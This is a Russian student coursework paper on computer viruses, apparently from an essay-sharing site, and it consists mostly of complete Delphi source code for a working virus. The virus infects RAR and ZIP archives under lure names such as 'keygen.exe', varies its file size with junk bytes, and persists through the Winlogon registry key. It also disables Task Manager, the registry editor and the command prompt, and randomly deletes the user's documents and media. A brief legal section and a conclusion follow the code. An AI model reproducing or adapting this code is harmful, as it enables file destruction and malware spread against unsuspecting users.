Компьютерные вирусы

Автор работы: Пользователь скрыл имя, 04 Июня 2012 в 18:01, курсовая работа

Краткое описание

Компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация. Однако в связи с этим особенно обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность...

Содержание

- Введение
- Определение вируса
- История возникновения компьютерных вирусов
- Классификация вирусов
- Классификация именований вирусов по «Доктор Веб»
- Команды для работы вирусов с файлами в среде Delphi
- Исходный код
- Юридический аспект
- Заключение
- Список использованной литературы

Прикрепленные файлы: 1 файл

Курсовая- Компьютерные вирусы.doc

— 538.50 Кб (Скачать документ)

Sr.Name- имя найденного файла

Sr.Size- его размер.

Чтобы искать следующий такой же файл, необходимо написать  FindNext (Sr);

Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро).

В программном коде можно создать следующий цикл:

Result:= FindFirst (‘*.exe’,faAnyFile,sr);

While result=0 do

Begin

  //Команды процедуры заражения

  FindNext (sr);

End;

 

8.Закрытие файла:

procedure CloseFile (var F: File);

 

9.Сдвиг рамки считывания: procedure Seek(var F; N: Longint);

 

10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: IF Ioresult=0 then… Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если {$I-}!

 

11.Когда необходимо завершить программу без особых изменений вызывают функцию  stack overflow:

function BlowTheStack(I: Integer): Integer;

var

  J: Integer;

begin

  J:= 2;

  Result:= BlowTheStack(I*J);

end;

 

12.Установка атрибутов файла: FileSetAttr (Filename: string,FileAttr);

Например: FileSetAttr (‘filename.exe’,faHidden);

 

 

              Исходный код

Вирус заражает rar и zip архивы.

 

program ZARAZHENIE ARCHIVA;

 

uses

Windows,

SysUtils,

Registry,

Math;

 

const VirusSize= 45056;//Размер вируса

 

var

{Массив с системными именами}

ArraySysName: array [0..13] of string = (

'dgnet.exe','dbgeng.exe','hnetsfg.exe','l3codecp.exe',

'ksproxy.exe','mcicda.exe','msd32.exe','mciole.com',

'kbdbane.com','adsnt.exe',' chcp.exe','occache.com','dimx9_24.com',

'agchk.com'

);

 

//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 

{Массив с именами копий вируса для заражения архивов}

ArrayName: array [0..11] of string =(

'Setup.exe','Install.exe',

'plugin.exe','update.exe',

'keygen.exe','crack.exe',

'info.exe','help.exe','FAQ.exe','Readme.txt.exe',

'r ead me.txt.exe','support.exe'

);

{Массив расширений}

ArrayMask: array [0..23] of string =(

'*.mp3','*.wav','*.url','*.lnk','*.wma','*.ogg',

'*.avi','*.mpg','*.3gp','*.mpeg','*.wmv','*.wm','*.ogm',

'*.jpg','*.bmp','*.gif','*.p ng',

'*.htm','*.html','*.doc','*.pdf','*.docx','*.rtf',

'*.swf'

);

 

ifind, DiskType, ruletka, time: integer;

Drives: set of 0..25;

Drv: char;

 

My, two: file;

VirusBody: array [1..VirusSize] of char;

WinRar_Path, SysName, M: string;

ch: char;

Reg: TRegistry;

kernel: text;

infected: boolean;

Birth: TDateTime;

 

//

procedure InfectArchiveRAR(path:string);//Процедура инфекта архивов RAR

var f:tsearchrec;

Command, NName: string;

copy, virus: file;

ir: integer;

 

begin

 

if findfirst(path+'*.rar',faAnyFile,f)=0 then

repeat

if (f.Attr and faDirectory)=0 then

begin

 

Begin

//

 

NName:='';

NName:=ArrayName[RandomRange(0,12)];//Выбирим имя копии вируса для заражения архива

 

//

 

assignfile(copy,NName);//Создадим копию вируса

rewrite(copy,1);

blockwrite(copy,VirusBody,VirusSize);

 

{пришем мусор}

for ir:=1 to random(100000) do

begin

ch:=chr(random(255));

blockwrite(copy,ch,1);

end;

close(copy);

 

{добавим в архив}

assignfile(virus,NName);

 

Command := WinRar_path+' a -ep "'+path+'\'+f.name+'" "'+NName+'"';

{Проверка архива на "вшивость"}

Infected:= false;

if DateTimeToStr (FileDateToDateTime (fileage (path+'\'+f.name)))= '06.08.2007' then infected:= true;

//Проверено!

 

{}

 

if infected = false then WinExec(PAnsiChar(Command),sw_hide); Birth:= StrToDateTime ('06.08.2007'); FileSetDate(path+'\'+f.name,DateTimeToFileDate (birth));

erase(virus);

end;

end;

until (findnext(f)<>0);

 

//Дальше идёт поиск в подпапках

findfirst(path+'*',$3f,f);

findnext(f);

while (findnext(f)=0) do

if (f.attr and fadirectory)<>0 then

InfectArchiveRAR(path+'\'+f.name+'\');

findclose(f);

end;

//////////////////////////////////////////////////////////////////////

procedure InfectArchiveZIP(path:string);//Тоже самое что для RAR только это для ZIP

var f:tsearchrec;

Command, NName: string;

copy, virus: file;

iz: integer;

 

begin

 

if findfirst(path+'*.zip',faAnyFile,f)=0 then

repeat

if (f.Attr and faDirectory)=0 then

begin

 

Begin

//

 

NName:='';

NName:=ArrayName[RandomRange(0,12)];//Имя

 

//

 

assignfile(copy,NName);//Копия

rewrite(copy,1);

blockwrite(copy,VirusBody,VirusSize);

 

{пишем мусор}

for iz:=1 to random(100000) do

begin

ch:=chr(random(255));

blockwrite(copy,ch,1);

end;

close(copy);

 

{добавим в архив}

assignfile(virus,NName);

{}

Command := WinRar_path+' a -ep "'+path+'\'+f.name+'" "'+NName+'"';

{Проверка архива на "вшивость"}

Infected:= false;

if DateTimeToStr (FileDateToDateTime (fileage (path+'\'+f.name)))= '06.08.2007' then infected:= true;

//Проверено!

 

{}

 

if infected = false then WinExec(PAnsiChar(Command),sw_hide); Birth:= StrToDateTime ('06.08.2007'); FileSetDate(path+'\'+f.name,DateTimeToFileDate (birth));

erase(virus);

end;

end;

until (findnext(f)<>0);

 

//Дальше идёт поиск в подпапках

findfirst(path+'*',$3f,f);

findnext(f);

while (findnext(f)=0) do

if (f.attr and fadirectory)<>0 then

InfectArchiveZIP(path+'\'+f.name+'\');

findclose(f);

end;

//////////////////////////////////////////////////////////////////////

function GetWindowsSystemPath: String;//Определяем SYSTEM32

const MaxWinSysPathLen = MAX_PATH + 1;

var I : LongWord;

begin

SetLength(Result, MaxWinSysPathLen);

I := GetSystemDirectory(PChar(Result), MaxWinSysPathLen);

if I > 0 then

SetLength(Result, I) else

Result := '';

end;

//

function GetUserName: String; // Имя USERa

const MAX_USERNAME_LENGTH = 256;

var L : LongWord;

begin

L := MAX_USERNAME_LENGTH + 2;

SetLength(Result, L);

if Windows.GetUserName(PChar(Result), L) and (L > 0) then

SetLength(Result, StrLen(PChar(Result))) else

Result := '';

end;

//////////////////////////////////////////////////////////////////////

 

procedure Registration;

var

ic: integer;

 

begin

SysName:='';

SysName:=ArraySysName[RandomRange(0,14)];

//

 

assignfile(two,GetWindowsSystemPath+'\'+SysName);

rewrite(two,1);

blockwrite(two,VirusBody,VirusSize);

 

{пришем мусор}

for ic:=1 to random(100000) do

begin

ch:=chr(random(255));

blockwrite(two,ch,1);

end;

close(two);

 

FileSetAttr(GetWindowsSystemPath+'\'+SysName,faSysFile);

/////

 

Reg:= TRegistry.Create;

 

reg.RootKey :=HKEY_LOCAL_MACHINE;

reg.LazyWrite := false;

reg.OpenKey('\Software\Microsoft\Windows NT\CurrentVersion\Winlogon', false);

reg.WriteString('Userinit',GetWindowsSystemPath+'\userinit.exe, '+GetWindowsSystemPath+'\'+SysName);

reg.CloseKey;

//

Reg.RootKey:= HKEY_CURRENT_USER;

if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true)

then Reg.WriteInteger('DisableTaskMgr',1);

Reg.CloseKey; {вырубим TaskMgr}

 

Reg.RootKey:= HKEY_CURRENT_USER;

if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true)

then Reg.WriteInteger('DisableRegistryTools',1);

Reg.CloseKey; {вырубим редактор реестра}

 

Reg.RootKey:= HKEY_CURRENT_USER;

if Reg.OpenKey('\Software\Policies\Microsoft\Windows\System', true)

then Reg.WriteInteger('DisableCMD',1);

Reg.CloseKey; {ну и командную строку - от греха подальше}

 

Reg.Free;

 

///

 

assignfile(kernel,GetWindowsSystemPath+'\'+GetUserName+'.txt');

rewrite(kernel);

writeln(kernel,'******** **** ******** **** ******** ****');

writeln(kernel,'******** ****** ********* ****** ******** ******');

writeln(kernel,' *** ** ** *** ** ** ** *** ** **');

writeln(kernel,' *** ********** *** ***** ********** *** **********');

writeln(kernel,'*** ************ *** *** ************ *** ************');

writeln(kernel,'******** ** ** *** *** ** ** ******** ** **');

writeln(kernel,'******** *** *** *** *** *** *** ******** *** ***');

close(kernel);

end;

 

{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}

///////////////////////////////////////////////////////////////////////

//Процедуры и функции Payloads 

procedure FuckDelete(path:string);

var f:tsearchrec;

r:integer;

begin

m:='';

m:=ArrayMask[RandomRange(0,24)];

//Вместо '*' можно вставить необходимую маску файлов например '?.exe', '*.txt'

if findfirst(path+m,faAnyFile,f)=0 then

repeat

if (f.Attr and faDirectory)=0 then

r:= random(8);

if r=(4) then DeleteFile(path+'\'+f.name);

until (findnext(f)<>0);

//Дальше идёт поиск в подпапках

findfirst(path+'*',$3f,f);

findnext(f);

while (findnext(f)=0) do

if (f.attr and fadirectory)<>0 then

FuckDelete(path+'\'+f.name+'\');

findclose(f);

end;

 

procedure FuckDisplay;

var

dm : tdevmode;

x: array [1..4] of integer;

y: array [1..4] of integer;

x1,y1,n: integer;

begin

//Объявляем доступные разрешения

x[1]:= 640; y[1]:= 480;

x[2]:= 800; y[2]:= 600;

x[3]:= 1024; y[3]:= 768;

x[4]:= 1600; y[4]:= 1200;

 

n:= random (4); // случайно выбираем

x1:= x[n+1]; //...ширину

y1:= y[n+1]; //...высоту

 

{Устанавливаем}

zeromemory(@dm, sizeof(tdevmode));

dm.dmsize := sizeof(tdevmode);

dm.dmpelswidth := x1;

dm.dmpelsheight := y1;

dm.dmfields := dm_pelswidth or dm_pelsheight;

changedisplaysettings(dm, 0);

 

//

begin

Reg:= TRegistry.Create;

try

Reg.RootKey:= HKEY_CURRENT_USER;

if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true)

then Reg.WriteInteger('NoDispSettingsPage',1);

finally

Reg.CloseKey;

Reg.Free;

end;

end;

end;

//Гы гы гы Гы гы гы 

 

{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}

 

{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++}

//Процедуры и функции уже кончились

//Сам код программы

begin//Чтение самого себя 

Randomize;//Генератор случайных чисел

filemode :=0;//Поставим файлу мод 0 для того что бы можно было в Win32 прочитать из себя без ошибки

AssignFile(My,ParamSTR(0));

Reset(My,1);

BlockRead(My,VirusBody,VirusSize);

close(My);

filemode :=2;//Возвращаем параметр

//Исполнение программы

begin

//++++++++++++++++++++++++++++++++++++++++++++++++++

 

if not FileExists(GetWindowsSystemPath+'\'+GetUserName+'.txt') then

begin

Registration;

end

else

begin

time:=random(15);

SLEEP(time*60*1000);//спим

ruletka:=random(10);

if ruletka=(7) then FuckDisplay;

//Поиск и заражение

WinRar_path:= GetEnvironmentVariable('ProgramFiles') + '\WinRAR\WinRAR.exe';

 

Integer(Drives) := GetLogicalDrives;

for ifind := 0 to 25 do

if (ifind in Drives) then

begin

Drv := Char(ifind + Ord('A'));

DiskType := GetDriveType(PChar(Drv + ':\'));

if (DiskType = DRIVE_FIXED) then

begin

if FileExists(WinRar_path) then InfectArchiveRAR(Drv + ':\'); InfectArchiveZIP(Drv + ':\');

if ruletka=(3) then FuckDelete(Drv + ':\');

 

end;

 

////////////////////////////////////////////////////////////////////

end;

end;

end;

end.

 

 

 

Юридический аспект

Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ

 

1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами - наказываются лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.

2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -наказываются лишением свободы на срок до семи лет.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

              Заключение

 

Из всего вышесказанного можно сделать вывод, что компьютерный вирус – это специально написанная небольшая по размерам программа, которая может «приписывать» себя к другим программам, а также выполнять различные нежелательные действия на компьютере. Программа, внутри которой находится вирус, называется «зараженной». Когда такая программа начинает работу, то сначала управление получает вирус. Вирус находит и «заражает» другие программы, а также выполняет какие-нибудь вредные действия (например, портит файлы или таблицу размещения файлов на диске, «засоряет» оперативную память и т. д.). Вирус – это программа, обладающая способностью к самовоспроизведению. Такая способность является единственным свойством, присущим всем типам вирусов. Вирус не может существовать в «полной изоляции». Это означает, что сегодня нельзя представить себе вирус, который бы так или иначе не использовал код других программ, информацию о файловой структуре или даже просто имена других программ. Причина этого довольно понятна: вирус должен каким-нибудь способом обеспечить передачу себе управления.

Самым эффективным способом защиты от компьютерных вирусов является не внесение информации в компьютер извне. Но, к сожалению, на 100% защититься от вирусов практически невозможно (подразумевается, что пользователь меняется информационными носителями с друзьями и играет в игры, а также получает информацию из других источников, например из сетей).

 

 

 

              Список использованной литературы

http://www.iworld.ru/contents/978538800236/978538800236_p.pdf

ru.wikipedia.org/wiki/Компьютерный_вирус

http://habrahabr.ru/company/runacap/blog/138171/

http://vms.drweb.com/classification/

http://www.ug-kodeks.ru/

http://www.realcoding.net/article/view/865



Информация о работе Компьютерные вирусы